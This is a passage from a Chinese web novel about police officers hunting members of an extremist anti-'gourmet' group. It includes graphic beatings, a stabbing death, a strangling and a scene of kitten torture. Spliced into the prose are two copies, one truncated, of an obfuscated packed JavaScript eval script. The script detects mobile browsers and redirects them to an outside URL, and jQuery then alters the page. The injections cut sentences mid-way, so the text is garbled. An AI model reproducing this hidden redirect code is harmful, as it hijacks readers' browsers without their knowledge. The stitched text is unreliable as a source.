他个子更高,相貌同样出众。古慷抬头和他黑沉沉的眼睛接触片刻,露出慈祥的笑:“不好意思,麻烦你们再跑一趟,请进吧。” “您客气了。”贺开宇礼貌地点头,和公冶一起踏进他的家。 “家里有点乱,随便坐,我去泡茶。”古慷要往厨房去,贺开宇直言:“不必了,今天来是想关于东行案再跟您确认几件事。” “我能说的都说了,”古慷坐下,“不知还有什么能帮到你们的。” “古先生,您和裴远航认识挺长时间了吧?” “挺长时间……?唔,算是吧,东宝银行离我家近,我一些零零碎碎的钱都放在那里,时常会往银行跑。” 贺开宇又问:“在您印象里,裴经理是个什么样的人?” 古慷微微笑道:“这问题你问过我了,裴经理与人为善,对我这糟老头子也非常友善耐心,可惜了,这么好一个孩子怎么就死于非命……” 公冶看着他径自感伤,说:“可据我了解,裴经理会区别对待客户,对您的态度也不是特别友好,您没有感觉到吗?” “哈哈,年轻人嘛,工作不顺心,找个出气筒撒撒气也是有的,小裴这孩子性子直,我能理解,像我儿子也是脾气不好,我都习惯这些了。” 贺开宇了然:“服务行业理应具备基本的服务意识,裴经理显然没有正确处理好,我倒是第一次见古先生这般宽厚大度的人。” “应该的,应该的,都是过来人。” “我之前办案,遇到过一个抵美协会成员,他的心胸就不比您宽广,凡是触及他的底线或是踩到他的雷区,他就会采用极端的方式报复回去。” 古慷:“这样的人自有社会教育,当然,也不乏民众向着他。” “是么,”贺开宇轻笑,“确实,他社会地位特殊,很难评价他的对错。” “不难评价,”古慷温声道,“对就是对,错就是错,比如美食家吃人,这就是错,无论通过何种途径藻饰润色,它本质就是多余的恶性,须进行抹杀才能让社会供血平衡,而一个普通人杀了美食家,他就是对,他明知自身力量微薄仍然赌上性命冲了上去,为了人民,为了国家,宁可让自己的手沾满污秽,这样伟大的英雄只是采取极端的方式消灭了一头会直立行走的猪猡,本质是在除暴安良,是善意的出发,请问他哪里不对。警官,杀猪有错吗?你不吃猪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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古慷气息沉寂地端详他一会儿,低头笑了声,再缓慢地看向贺开宇:“贺警官,小裴遇害,你们应该去找真凶,而不是来告诉我这老头子他是怎样怎样死的,我年纪大了身体不好,听不得这些。” “他死去的样子您亲眼见过,既然可怜他,就不愿意主动了解一下他的遭遇吗?” “一码归一码,我有权利拒绝。” “……” 贺开宇观察着古慷的神情变化,一言不发。 “让我出去,让我出去。” “放开我啊。” 一间房门紧闭的屋子里传出年老女人的呼喊,古慷撑着膝盖站起来:“是我爱人,她又发病了。” “诲文!别怕!我来了!” 古慷喊完,房门打开了,陈诲文颤颤巍巍跑出来,指着屋子,说:“我不要待在里面,我不要待在里面啊!” 陈诲文像个闹脾气的小孩,转头看见两名年轻男子坐在客厅里,她一下子变乖了,不闹了:“小夏……小夏回来啦?是小夏吗?是小夏?” “诲文,不是小夏,不是。” 陈诲文走上前,拉起公冶的手,一口一个“小夏”的叫着。 贺开宇:“小夏是?” “我儿子,古夏,”古慷说,“但我儿子就算来了,她也认不出,她就是叫着玩玩,见谁都这么叫。” “小夏饿吗,我有吃的,我给你做面吃,冰箱里有你爱吃的肉,我每天都能给你做,你跟我来,小夏。” 公冶眼底掠过冷意,没动,陈诲文招着手,管自己朝厨房去了。 “不好意思,我爱人给你们添麻烦了,”古慷顿了顿说,“对了,刚刚你们提到的墨水,我家里确实一瓶也不剩了,我平常也很少用钢笔写字,为了不引起怀疑,我可以带你们去书房搜查。” 贺开宇和公冶交换了眼神。 “不必了。” “不必吗?那二位为何不去别人家,偏来了我家?我生活已经很苦了,不希望因为你们警方侦查过程中的一时兴起而成为街坊邻里饭桌上的谈资。还是跟我来一趟吧,我再老糊涂,清白也是要的。” 贺开宇抿唇不言,关注着厨房里陈诲文模糊的背影,向旁边的人悄悄递了个眼神,起身跟随古慷往虚掩着门的书房走去。 公冶也顺势起身,环顾客厅内简单的陈设,玻璃茶几下塞了不少零碎,一张纸条被遥控器压着,他戴上手套,把纸条取出来,是家电商场开的发票,买了一台冰箱。 沙发边有个实木角几,放着全家照,阳光直射着玻璃相框。公冶走近看了一眼,眉端皱起。 他稍稍俯身,注视着照片上抱婴儿的女人。 女人妆容清丽,眉眼透出精明,几乎没在笑,丈夫古夏温文尔雅立于一旁,个子略高,却根本压不住她的气场。 公冶把视线移去她怀里的婴儿,稚嫩的面容尚未长开,但是—— 在哪见过,一定在哪里见过,不是什么特定的时间…… 对了,是她,是那个时候…… 公冶记起了女人,却为此陷入了另一个迷雾深锁的困境,这时厨房传来了碗筷砸地的声响,接着是陈诲文无助的叫喊:“小夏——” 他快步走进厨房,满地是水,陶瓷碗碎了好几只,陈诲文摔在地上,他立刻扶起老人,陈诲文站不稳,抓着他的胳膊,指了指半开的冰箱。 “我要给你做面吃。” 流理台放着刚拆开的挂面,冰箱是崭新的。公冶说:“里面放了很多肉,是吗?” 陈诲文呆了呆:“有,有好多肉,买了好多,你最爱吃肉了。” 半开的冰箱渐渐散发出生肉的腥冷,其中夹杂着一股熟悉的气味。公冶扶稳险些又要滑倒的陈诲文,伸手把冰箱门打开—— “小夏!!” 陈诲文惊恐大叫,不知哪来的力气,狠命挣开公冶的手臂,发抖的双手死死护住他的头,身后扫来凛厉的风声,公冶一把推开陈诲文,自己也侧身避开,冰冷的铁棍重重劈在他们中间,砸起金属沉闷的回音,陈诲文仰面倒下,瘫坐在角落里一个劲地哭叫。 公冶下意识挡在陈诲文前方,抬头,见四名陌生男子持刀执棍,把他们围困在厨房最里面,其中一人撸起了袖子,腕部纹着紫玫瑰缠绕的三叉戟。 “死条子,敢找上门来,你们完了!” 77. 猫 刀棍示威般纷纷劈在他们头顶,金属和大理石碰撞出剧烈的震感,一阵阵快要撑爆鼓膜,陈诲文看着好几根坚硬的铁器挥至面前。 “陈老师啊,刚刚让你安静待着,你为什么吵着要出去呢?” “呜啊……呜……” 陈诲文吓得失语,伸手挡脸,耳边传来钝器殴打人体的声音,男人们的狂笑混杂在这片恐怖的节奏里。陈诲文又想起了古慷在这间厨房剁肉的样子。 “不,不要打我的小夏……” 嘭——老旧的玻璃移门被一只手狠狠带上,紧接着,一顿拳打脚踢响彻狭窄的厨房,碗碟摔裂四散,满地的水染上颜色,沉甸甸的铁腥味飘到陈诲文急促激动的呼吸里,她睁大眼,却看不到任何正常的画面,棍棒砸人的声响快让她受不了了,她不知该找谁,只一味说着求求你,膝盖跪在碎渣上,对着领头的男子使劲挥手:“不要打他,你们是好人,我拜托你们啊,不要再打他了……” “哦,陈老师,我们当然是好人,我们在教训不听话的畜生,您不是最讨厌养小动物了吗,我这就把这条官狗打死了献给您。” 回话的男子剃着光头,一脸横肉,有点年纪了但体力不差。打累了,把铁棍斜一边,脱下身上的夹克,问公冶:“兄弟,你见过砸西瓜吗?” “……” “哈哈哈,说不出话了吗?” 光头男瞧着他迟缓地撑起身体,似乎想把头抬起来,于是再次拎起血迹斑斑的铁棍,训狗一样敲击着地面:“你敢躲一下试试。” 说着把棍子指向瑟瑟发抖的陈诲文。 公冶不再动了。 光头男双手抄紧铁棍,抡动臂膀,对着这名警察染血的背部一下一下使出全力狂揍,几滴血飞溅到他脸上,光头男满眼迸光,亢奋地爆声大笑:“妈的,你们看见了吗?咱这回碰上好货了,这条子皮真够硬的,怎么还不倒?” “喂,你行不行啊,上刀啊!” “蠢货,一刀砍死多没意思,都拿棍子来揍,快来!” “不——不要再打了啊——!” 噼里啪啦的绝望声响往公冶身上实实落去,陈诲文痛苦地尖叫扒脸,感觉手上有温热的东西,一看是鲜红的血,她抓狂地扯头发:“小夏,小夏啊啊啊!” 公冶咬着牙一声不吭,被打到半死也未出手反击,棍棒如无情的暴雨砸得他皮开肉绽,额头也被溅落飞起的碎片划伤了,他竟感知不到疼痛。 “开……宇……” 血滑去下颚,他吃力地抬眼。 “开宇——” 书房始终没传出动静,比起皮肉之伤,门那端的死寂更让公冶心寒,他仿佛坠入了当年深不见底的吃人炼狱,再也无法维持冷静,从铺天盖地的棍棒下艰难爬出来,撕破了音大叫道:“贺开宇——!” “妈的!喊什么喊!我让你喊了吗?!给老子闭嘴!” “这条子血真厚,你们上,往死里打!打死他!打!!” “不能再打了,不能再打了!小夏,你不能死,我不要你死——你——你打回去啊!打回去啊小夏!!”陈诲文急得哭叫,双手拼命拍打着大腿,对一直默默忍受的公冶撕心裂肺大吼,“不要,不能,不能忍了!你打回去啊——!” “打回去——!” “……” 打……回去? 公冶整个人怔怔的,黑发凌乱地散落下来,遮住他同样漆黑的双眼。 打回去……拿什么打回去?是嗜血的獠牙,还是撕肉的利爪?我没有理由这样做,我不能伤人,不能因一时气愤就大打出手,我的一言一行都代表着公安,代表着一个国家的制度,靠着这身衣服,我才能自如地走在阳光下,只是……随之而来的代价太重了,压得我快喘不过气,不管是作为警察,还是争取活得更像一个人,一旦抛下这些约束,我就什么都不是了。 我什么都不是了。 所以,我该拿什么打回去? 我……为什么要挨打? 为什么会变成这样? 啊,真是奇怪了,真是奇怪,我为什么—— 要活得像一个人呢? 直到此刻,公冶渡莲才有那么一点感同身受。 当年清绝屡遭暴打蹂躏,无论持续时间多长,她都会把他护在身下,所以他几乎没有受伤,也根本不知道抵美协会研究出了多少种残忍的酷刑,可以在顶级美食家强大坚韧的体魄上留下严重到无法愈合的疤痕。 原来这么痛啊,原来这么痛…… 撑在血水中的五指猛然收紧,崭露出锋利无比的光。 不是不能再忍,是不想再忍了。 不想再忍了—— “影青,坏人不一定要下地狱。” “因为人间已经形同地狱了。” “我只是害怕——害怕自己哪天也会为了一己私欲,对不公正妥协。” …… 公冶:“……” 公冶:“不是这样的。” 光头男听到条子垂着头念念有词,挥棍的手加重了力道:“真行,还能说话啊你?硬撑到现在,看来体力不错,你女人跟你过日子应该很爽吧?哈哈哈……啊是吧?喂,问你话呢,你不是还能说吗,他妈的说——” 话音未落,一弧白光闪过眼前,光头男咦了声,感觉脸上在汩汩冒出东西,用手一摸,自己的左颧骨到右眼角上方裂开了一道血淋淋的口子,他当即丢了棍子捂住毁容的脸惨叫出声,同伴都愣着,他快速反应道:“是美食家!!!狗日的我们被骗了!!快杀了他!!!” “什么?” “美食家?!是美狗?!拿枪!!枪在哪——!” 他们暴怒地呼喊,眼神顷刻变了,公冶这次没再忍耐,单臂擒住一个扑上来乱刺的人,反手将他掼飞出去,一声巨响,移门玻璃整面碎掉,另外两个带枪的急不可耐上膛,对准他的后背后脑一通胡射!子弹擦着陈诲文的惊叫声打在冰箱上,有人不小心往她脚边走了一枪,陈诲文尖叫更甚。 “你妈的别叫了!我射不准了!” 千钧一发之际,公冶旋身甩出一记肘击,吃了这一击的人鼻血直飙,意识彻底溃散,颅内爆炸一般震荡着,因惯性掀飞的身体撞翻了同伴。 光头男抹掉满脸的血,愤怒得丧失理智,夺起血水里的砍刀朝公冶冲来,被撞翻的那人找不着枪,无意识地扯住公冶的衣摆,刚要借力爬起,被公冶拧住手腕咔地往外一扭,他痛得跪倒,哇哇大叫。 “肉畜!放开我!我杀了你!!” 他手腕扭转了一圈,痛得起不来,公冶索性扔开了他。他呼哧着热气,瞪大赤红的眼,见光头男疯了似的扬着大刀劈头砍来,使得他也浑身血脉沸腾,一跃而起抱住公冶,把人往光头男的刀口送:“砍死他啊啊啊!” 刀锋贴近鼻尖的瞬息,公冶双臂发力一下子挣脱束缚,和他互换了位置,他惊慌失措大喊:“不不不要啊啊啊啊——” 刀收不住,噗呲一声,同伴满脖的血向外喷出,淋了光头男一脸一身。 公冶松手,面前的死人软塌塌栽倒下去。 厨房内犹如分尸现场惨不忍睹,光头男披着一身血,像尊熔化的蜡像,痴痴盯着同伴的尸身:“喂,我没想杀死你,你没有权利怨恨我!放心,你的死不会毫无意义,你不会白死,我来替你报仇……” 他成功说服了自己,空洞缩紧的眼珠怒视着公冶:“是你,是你杀了人,警察杀人……警察杀人了!!!” “我杀人?”公冶跨过尸体,脸上溅着几点血,朝他逼近,“不对,是你杀人了,怎么看都是你在杀人。” “滚远点!别过来!!!” “怕什么,又不是第一次杀人,不过你这次杀了一个无辜的人,你的行为不再合理了,这代表着什么?你和美食家一样了。” “啊啊啊啊啊,你闭嘴!闭嘴啊啊啊啊啊啊————!!!” 光头男绝不能忍受有人这样说他,无能地狂怒嘶吼,都顾不着捡枪,挥着砍刀乱劈,被公冶拽起衣领暴掷在墙上没了知觉。 血腥味浓烈地向上翻滚,充斥在空气每一寸缝隙里,新鲜的人肉像盛开的红罂粟簇拥着他。公冶立于死寂中央,看着光头男瘫倒在地,又看了眼枪,只喘息一秒,就转身扶起陈诲文,把人带到厨房门口干净的地方放下。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579330|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈诲文面容惨白,呆呆坐着,望着他朝书房跑去,一脚踹破了门—— 古慷用一根细绳绞着贺开宇的咽喉,还有两个人按住贺开宇的手脚,不让他挣动。 一地打斗过的狼藉痕迹,他们全身心地投入其中,没听到外头惨烈的动静。古慷绷着筋,在一点一点用力,他老了,没法一次性贯注猛力勒死人,但他觉得这样慢慢让贺警官感受着自己呼吸衰竭,身体功能失去控制,在最后的时间里狼狈地蹬腿、痉挛、流口水,也不失为一个折磨人的好办法。 贺开宇张着嘴,发不出半点沙哑的音调。 快死了,就差一点,快了,脖子在吱吱叫,又一件艺术品诞生了——古慷心里如此鼓舞着自己,一仰头,看到一只快无踪影的尖爪狂暴地挥来,他眼前炸开一片腥红,他又嗅到了自己当年最爱的那股味道。 邓烟雨逛完超市,又去E区买了泡芙,出来已是下午两点多,她给极乐发去消息,不到一分钟就有了回复。 【在哪宝贝】 【我在东寻古巷的牌坊下】 【好的马上来】 东寻古巷在新座边缘,是历史街区里最没落的一条,挤在众多店铺中间,窄窄深深无人问津,巷子里只有些凄迷小楼,附近垃圾乱丢,显得石板路脏脏的。 邓烟雨等在路口,低头刷着手机,周边鞋店循环播放着促销录音,嘈杂的人声里忽然混进一声奇怪的惨叫,拉长的尾音刮挠耳壁。邓烟雨脊背发毛,往后看去,周遭人来人往一切正常,但转过头以后,那声惨叫再次传来,像病弱的襁褓婴儿在凄厉地哭。 大家都没听见,毕竟太轻了,轻得邓烟雨也以为是自己幻听,可直到第三声惨叫穿破满街鼎沸人声落入她耳中,她便确信,这叫声是绝对存在的。 邓烟雨仔细辨别着声源,往古巷里走去,在巷子深处一个荒芜的死角里发现了三名初中生,他们穿着某中学的校服,背对着她蹲在角落。 “啊——啊——” 惨叫在他们中间响起,又尖又弱,这不是人类能发出的,像是动物。 “你们在干什么?” 三名少年闻声回头,普普通通的脸上没什么表情,邓烟雨趁乱瞥见他们手中的东西,一只软布铅笔盒,里面塞得非常鼓,拉链已费力地拉上四分之一,剩下未拉上的开口里挤出一撮白毛。 白毛在动,在发出“啊——啊——”的凄惨叫声。 这种声音她听过,她有时候会刷到救助动物的视频,小狗小猫被丢弃在恶臭的垃圾堆里,身体腐烂的地方被蛆虫钻进钻出,被苍蝇围绕,有的会张着嘴巴嗷嗷叫,有的一丝声息也没有,只期望自己快点死去,这样就不疼了。铅笔盒里的惨叫大概达到了这么一个痛苦程度,喑哑尖利,像是只猫。 一阵冷风吹过,吹动石砖缝里长着的幽深杂草。邓烟雨死死瞪着这三名平静的初中生,慢条斯理开口:“你们为什么要把小猫塞进铅笔盒里?” “……” 三名初中生并不回答,目光阴暗地盯着她,依次站起来。 “为什么要虐猫,那是一个生命。” “……” “你们的父母没有教过你们,要善待小动物吗?” “……” “把铅笔盒拉开。” “把铅笔盒给我!!” 邓烟雨厉声一吼,他们扔了铅笔盒,擦着她肩跑掉了。邓烟雨上前捡起在微微拱动的铅笔盒,她感受到一个弱小可怜的生命在苦苦挣扎,万分小心地拉开拉链,但拉链扯着小猫的皮毛,小猫痛得嗷呜直叫。 “马上好了,马上好了,再忍忍……” 邓烟雨忍着泪,把小猫从铅笔盒里掏出来。 那是只未成年的三花幼猫,一颗眼球爆了出来,嘴里全是血,背部不知被什么捅了几个深深的血洞,它遍体鳞伤地躺在邓烟雨的掌心里,即便从铅笔盒里取出来了,也在止不住地哀嚎。 邓烟雨捧好了它,拿出手机查询最近的宠物医院,身后不知不觉罩上来一层阴影,她转头,是那三个初中生回来了,其中一个手里握着一根削尖的粗树枝。 他举起树枝,向邓烟雨直刺下去! 78. 暴乱 “不准动!警察!” “手里什么东西!放下!放下听到没?!” 怒斥声由远及近,少年们趁乱朝邓烟雨背部猛刺两下,顺手抓了几包购物袋里漏出的零食转身便逃,但此处仅有一个出口,他们被一名身材高大的特警堵住了去路。 带头的少年臭着脸往上看,看到了一双噬血的绿眼。 他本能地打了个激灵。 毒株尚未脱下执勤的制服,通身散发冷意,用警棍抵着他额头。三个孩子被逼得连连后退,毒株说:“转过去,面向墙,抱头蹲下。” “你知道我爸是谁吗?” “你知道我中午没吃饭吗,”止咬器上方的眼眸弯了起来,“饿着呢。” 极乐已经管不着毒株了,心惊胆战朝巷子里飞奔而去:“小雨——我的雨啊你怎么样!” 邓烟雨单手撑地,听到极乐急切的呼唤,她仰起面庞,臂弯里有只裹得皱巴巴的塑料袋。 “他们对你干了什么,”极乐环顾满地散乱的东西,抱着邓烟雨从头到脚检查了好几遍,“背、背怎么样?!那帮小兔崽子,居然当着我的面……我一定要把他们关进拘留所睡便池……” 极乐阴沉着脸,恶狠狠地念道。邓烟雨第一次见她气成这样,简直像换了一个人,赶忙出言宽慰:“我没事,我穿的牛仔衣很厚,没有刺破。”她不太自信地摸了摸背,倒是不痛。 极乐忧色未减,视线落去她手上:“到底发生什么事了,我一到东寻古巷就听见有人说里面在打架,又没见着你,所以和毒株赶紧找进来了。” “他们虐猫,被我看见了,”邓烟雨拨开塑料袋,里面是只虚弱的小猫,“友知姐,你能带我去最近的宠物医院吗,它全身都是伤。” 极乐看见小猫咪背部血肉模糊,眼底浮现出极深的不忍:“好,跟我上车。毒株——这三个小王八蛋交给当地!告诉他们,我们没来不准放人!” 毒株漠然扫视一圈,他们并没有老实地贴墙面壁,找了个宽敞点的地方混混似的蹲着,手随随便便搭在后脑,满脸不屑,眼神里全是赤|裸的恶意。 “狗日的肉畜。”少年骂道。 “你们这种人,长大了也是浪费社会资源,偏偏‘未成年’的标签免费给你们开了个舒适圈,真令人不爽,快点自相残杀然后从这个世界上消失吧。” 毒株等极乐她们走开,转身离远了几步,抓起对讲机汇报,少年阴森森的语气从背后升起: “我就算搞死她,我也不用坐牢,等我出来一定弄死她。” 毒株像是没听见,过了会儿,他摘掉面部止咬器,流利的绿眼慢吞吞望回去,随后在少年面前蹲下,特制的警棍照地上一杵,震得棍子头部差点漏电。 他漫不经心偏过头,像在玩一个无聊的游戏,两指一旋,警棍受力飞速转动起来,快得甩出残影。 “请教一下,食物可以说话吗?” 少年们僵住了,眼前的男人瞳孔中正散发出阴鸷兴奋的光芒。 “你们,知道标记吗?” “……” “我国每年新增失踪人口约八万,发现无名尸体不下三万,”在警棍快要倾倒之际,毒株一把摁住,冲他们恶毒地笑道,“一人一口,一共三口,三顿夜宵,我也不是干不出来。” “……” “晚上睡觉记得盖紧被子啊。” 片警很快赶来现场,和特发科做了交接,回头见三个孩子蹲在地上不动,伸手一碰,他们就吓得大喊大叫,片警们面面相觑,不知如何是好。 “特发科对他们干嘛了?” 其中一人向外遥遥递去一眼,难搞地说:“总部来了只野生的,看来熊队还没驯温呢。” 他们驱车直奔宠物医院,医生给小猫剃毛拍片,只说眼球保不住了。清理伤口时小猫不太配合一直在乱抓,叫声愈发惨痛,有密密麻麻的白虫子从血洞里蠕动着流出。 折腾了半天,邓烟雨有些精神恍惚,坐在外面的长凳上缓解,极乐给她倒了杯水:“小猫要留下来输液吃药打针针,放心吧,它很坚强,这会还在笼子里嗷嗷骂人呢。” “有精神就好,”邓烟雨在等待期间,把这几天打工的钱取了出来,又算上自己的零花钱,“我有一千块,够付吗?” “不要紧的小雨,”极乐说,“毒株趁我俩伤心的时候把费用缴了,但他说就这一次,因为他没给小动物看过病,以为不贵的,结果交钱时那个天文数字吓到他了,他说这些钱够他得个亨廷顿舞蹈症了。” 邓烟雨听完,呆滞地眨了眨眼。 “这家伙是不是脑子缺根筋?”极乐指指自己的脑袋,“我真服了他了,有点像未成年的组长。” “未成年的公冶警官?”邓烟雨脑补了一下,笑出了声,“友知姐,你太会形容了。” “后续费用我包,你一个社保都没交的大学生就歇歇吧,给猫看病有多贵你是不知道,我家祖宗曾经把我一个月工资全坑去了。” “那我过意不去啊,我们AA,我付一半。” “哎哟,不要这么见外,我付不起会找组长平摊的,”极乐说,“你和他还分什么,都一家人,他付钱等于你付钱。” 邓烟雨细想了想:“……也行。” 反正他钱多。 后面爆发出一阵狗叫,她们扭头,见是毒株过来了:“走了么?那些狗吵死我了。” 忙完出来天色已经不早,邓烟雨精疲力尽地说:“我先走了,明天再来看咪咪,你们快回单位吧,我乘地铁回去。” “你不要紧吗?” “没事没事。” 她露出一个安心的笑,毒株打开警车后座,拿出购物袋递给她。邓烟雨接过袋子,道完谢转身要走,突然被毒株攥住手臂。 “诶?”邓烟雨动不了了,疑惑地抬起头,也在这时,毒株将人往自己跟前拉近。 邓烟雨差点扑他怀里,也被他身上独特的气息笼罩住了,公冶有时候也会释放出这样的气息,凛冽而霸道,像条带有目的的毒蛇温柔侵占过来。 “那个……”不明白他有何意图,邓烟雨瞅了瞅自己的购物袋,试探性地沟通道,“如果你要我买的吃的,我也可以分你一些?” 极乐记起中午的对话,无语地说:“你就算要动真格也得看看场合吧,这是在大街上。” “让我确认一下。” 毒株轻声说着,仿佛屏蔽了外界一切杂扰,俯身靠近邓烟雨,嗅了嗅。邓烟雨停止了思考,呆呆站着,没动也没躲。 他在判断什么,很专注,眼尾的睫毛偏长,底下是一痕暗藏锋利的碧色,非常标准的丹凤眼。 路过的行人都在回头,极乐看不下去了,刚要出声阻止,毒株先一步放开邓烟雨,不容置疑道:“你受伤了。” “受伤?”邓烟雨感觉身体并无异样,“没有啊,我好得很。” “上车。” 毒株自顾自坐进驾驶座,邓烟雨无助地看向极乐,极乐表情却变了,目光停在她另一条胳膊上,眉间轻蹙,说:“上车吧。” 关上车门后,极乐正式地警告:“毒株你不许回头。” “不回。” “小雨,外套脱掉。” 里面是件淡蓝轻薄的雪纺衫,胳膊肘的位置几乎被鲜血染透,只是没印在牛仔外套上。极乐惊得下巴快掉了:“你摔哪了?” 邓烟雨也惊呆了,磕巴道:“我……我躲树枝,摔地上了。” 极乐脸色不太好看。他们在宠物医院待久了,动物的体味太冲,干扰了她的嗅觉,毒株八成也被猫猫狗狗的气味影响到了。 前头来了一声:“极乐,你鼻子怎么长的,没闻到血腥味吗,这么浓。” “还好意思说我,你自己不也被熏得脑袋发昏。” “即便如此,我也能第一时间判断出来,你呢?” “我?我又不是狗鼻子。” “那也不是一般的鼻子,美食家的鼻子总有它该有的能力。” “啊?这是什么话?” “就是原本的意思,”毒株把着方向盘,眼底没温度,“美食家身上哪个器官不是顶级配置?研究我们的人就是为了这个目的。” 邓烟雨一本正经地反驳:“可是你们乳糖不耐受,显然消化系统的配置太拉了。” 极乐:“……” 毒株:“……” 车子发动,一阵尴尬的沉默过后,毒株说:“姐姐,你不要拆我台。” 极乐忍不住发出大笑,邓烟雨靠向极乐,捂住脸:“他居然叫我姐姐。” “他虽然又爱耍帅又臭屁,但他比你小啊,哈哈哈哈——” “哈哈哈哈——” “够了啊。”毒株心里相当不是滋味,但无话可说。 去往市医院的路上,极乐发现邓烟雨的脸蛋过于红润了,实在放心不下,给公冶单独发去消息:【你家被偷了】。 本以为对方会傻乎乎发来个问号,或者单刀直入像审犯人一样问清来龙去脉和作案手段,结果半天过去,对面没一声回复。 “奇怪,组长今天去哪忙了,消息也不回……” 极乐喃喃自语着,没多想,把手机往兜里一丢。 嘉怡花苑小区楼下,红蓝警灯夺目地闪成一线,十多辆警车和救护车把局促的场地围得水泄不通,群众被拦在警戒带外探头伸脖,指指点点。侦查员陪同索主任一行人去了楼上,他们从古慷家中冰箱内找到了东行碎尸案受害者裴远航剩余的人体组织。 “同志,你们要抓谁啊?” “谁家出事了?三楼吗?是古老师吗?古老师怎么啦?” “同志,我要回家,你让我进去好伐?我家小孩在楼上。” 群众里有几个人,像厚脸皮的骚扰犯追着警察问东问西,被厉声呵斥了也只是讨好地赔个笑,继续没皮没脸地跟着问。警察快被烦死了,转头瞟见一道白色的身影从楼道里冲出来。 路法医携着一身雷霆怒气,大步迈向救护车,贺开宇坐在车尾,和医护人员说着话,见女魔头来了,他起身要逃。 “给我按住他!”路法医嘴上这么说,自己先动上手把人制住了,“贺开宇你在想什么?!啊?!” 贺开宇想也不想便说:“我错了。” “你认个屁个错!你根本不知道自己错在哪!”路法医气得像被什么邪恶的东西上身了,“明知他们思想极端!明知他们会团伙作案!你怎么可以单枪匹马就跑来这?!枪还不带!你看看你的脖子!你看看——” 她吼着吼着,眼眶红了。 “我哪里单枪匹马……” “你本来是要自己一个人来的,如若不是影青临时改变主意陪你一起来,你本来是要一个人来的,对不对?!你说?!” 路法医发起威来,比蒋淮还可怕,贺开宇畏缩着,但还敢顶嘴:“我哪知道古慷有地下身份,也是来的路上影青告诉我的。” “既然你提前知道了,为何没有第一时间向上汇报,为何要独自一人去和政治性的组织正面接触?!” “我没有独自一人,而且我们上报了,不,是影青上报了,可……没人在乎影青的想法,”贺开宇很轻易地垂下了头,“所以上报也无济于事,谁都可以原谅他们,这才是最令人心痛的。另外,这件事和路法医你无关,所以你也没道理来斥责我。” “你……”路法医一口老血噎住,吼声里带着几分颤抖,“你以为我喜欢跟你发火吗?!你让大家伙瞧瞧,让护士瞧瞧!你脖子都勒紫了!如果影青晚来一秒救你呢?!要是晚一秒……” 从未见过路法医情绪崩溃,贺开宇都不知该怎么办:“对不起,我下次再也不擅自行动了,您……您别哭啊。” “谁哭了?!”路法医旋即恢复正常,指着另一个小混蛋张口骂道,“还有你!影青!你——” 咔的一声,公冶把脱臼的左臂重新接了回去,面不改色抬起头,和周围一张张震惊的脸对望:“什么?” “啊!气死我啦——!”路法医像在演话剧,悲壮地按住脸,仰天长啸,“都是一群逆子啊——!” 公冶:“……” 贺开宇:“……” 女警顺着路法医的背,让她消消气,公冶出声问:“蒋队没来吗?” “和赵局在开会,前面通知了,估计快到了。” 贺开宇左思右想,拉住公冶,惨兮兮地说:“影青,我觉得好可怕,要不然我们装晕去医院吧,再待下去,等蒋队来了……要被骂死的。” 护士在一旁提醒:“不装晕你也要去哦。” 公冶坐在嘈杂忙乱的现场中,为自己砍伤的小臂进行包扎,人群的叫喊反而衬托出他身上极致的冷寂。骨裂的小指慢慢扭回,长直,恢复如初,公冶凝视着它的变化,眼眸深处渐渐像熄灭了一样,刻着无边无际的暗意。 “知道古慷的身份,你不怕,非要和他当面对质,如今听说蒋队要来了,你反而怕了。” “你难道不怕吗!” 公冶侧头看向他,笑了笑:“我习惯了。” “古老师!” “会长——” 不远处发出巨大的骚动,他们循声望去。 古慷换了身干净的衣服,戴着手铐被押至众人面前。阳光照着他,那副佝偻的身躯似乎挺直许多,他环视每一名干警,目光落向救护车。 “快走。” 民警示意他往前走,他没动,只是端详公冶渡莲摘掉隐形眼镜的双眼。 没过多久,他露出个不明不白的笑,说:“和你妈妈长得好像啊,我即便到了这把岁数,但是你妈妈,她垂泪的样子……我永远也忘不了。” 猜疑的议论声如涟漪波荡散开,古慷言辞之间满是意犹未尽,他显然是想起了多年前的那些夜晚。公冶沉寂片刻,霍然站了起来,爪牙也没收住。 路法医和贺开宇同时按住他:“别被激。” 别被激? 可他侮辱的是我的亲人。 这让我怎么忍受? 公冶死死咬着獠牙,深恶痛绝地瞪视着一身白衫的古慷,除了握紧拳头,他什么也做不了。 “大家,大家,都安静!你们听我说!你们看——这是公美伤害我的证据!”古慷举起两只哆嗦的手,小臂有三道血红抓痕,众人大惊,古慷再把手指向公冶渡莲,“就是他!你们一直敬佩信赖的人民警察,就是这个样子的!诡异阴森的眼睛!吃人的牙!满手沾血!时刻处于愤怒的、不稳定的状态!我挚友的尸体此刻横陈在我家,就是被这名警察砍死的!可警方只字不提!这样的杀人魔一直扬言在保护我们,你们不觉得奇怪吗?!” 人群中有不少上了年纪的人,听得脸色都发白了,好奇的小孩子挤到最前面想一探究竟。贺开宇伸手把公冶挡去身后:“他在说什么……” “还让他在这里演讲?快带走!” 民警们如梦初醒,抓着古慷的肩膀要拽走。古慷步履蹒跚,却继续声音洪亮地呐喊:“太可笑了,我们竟被如此阴暗、腐败的体制保护着,我们真的得到了保护吗?!从今往后,美食家只会只增不减,他们会披着‘法制’的皮囊,像今天一样急不可耐地找上门来,用一双黑色的眼睛伪善地监视你,我们无法制裁,因为他们才是制裁者!我们从此要活在一个随时随地‘被吃’的社会里!而我们的子女,子女的子女,一代一代,生生世世——终将陷入比我们惨烈数十倍的绝望之中!永远也无法获得解救!!” 小孩的手一阵疼,他仰头凝望牵着自己的母亲,母亲的脸好僵好僵,眼珠像铜铃一般瞪大着,小孩害怕地叫道:“妈妈……?” 